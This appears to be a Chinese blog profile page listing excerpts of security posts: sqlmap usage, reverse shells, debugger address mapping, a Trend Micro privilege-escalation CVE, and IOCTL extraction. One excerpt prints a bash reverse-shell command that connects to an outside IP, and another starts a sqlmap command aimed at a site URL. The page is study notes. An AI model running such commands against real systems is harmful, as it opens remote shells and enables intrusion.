發(fā)簡信
IP屬地：江蘇
-
博客遷移說明
開始一段新的旅程，博客遷移至Island's Blog歡迎大家訪問我的新博客，另外新博客里也做了評論系統(tǒng)喻粹，歡迎交流。簡書上將不再繼續(xù)更新 簡書確...
-
sqlmap學習查詢數(shù)據(jù)庫：python sqlmap.py -u "http://local.premeate.songboy.net/home/index....
-
sqlmap中文教程
http://note.youdao.com/noteshare?id=e55b73edde02c1057fe54f0cb0585070
-
web認證
關于我正在做的路由器的web認證方式是這樣的： 客戶端首先向服務器發(fā)送一條不帶認證的get。 服務器返回 Authorization Requi...
-
反彈shell
Reverse Shell bash反彈服務端： bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1...
-
動靜結合調(diào)試——IDA地址與windbg地址對應
這是一個比較簡單的問題，但是思想走了一點彎路增淹，覺得有必要記錄一下.首先需要厘清幾個概念： 文件偏移地址（File Offset） 裝載地址 （I...
-
趨勢科技緩沖區(qū)溢出權限逃逸漏洞
CVE-2018-6232這個漏洞允許本地攻擊者通過有漏洞的趨勢科技軟件提權。為了利用該漏洞乌企，攻擊者首先得做到能在目標系統(tǒng)上執(zhí)行低權限代碼虑润。這個...
-
Some教訓值得回味
我始終相信，所有這些兜兜轉轉循環(huán)往復的事加酵，在多年后都終有意義 計劃->執(zhí)行->反饋 閉環(huán)對于任務第一反應首先不應該是立刻上手拳喻，計劃是很重要的一步...
-
提取驅(qū)動IOCTL code的實現(xiàn)
本文禁止轉載經(jīng)過多日探索哭当，暫時找到了兩種比較可靠的提取驅(qū)動IOCTL code的途徑，以下對具體執(zhí)行過程進行簡介冗澈，并針對優(yōu)缺點進行分析： IDA...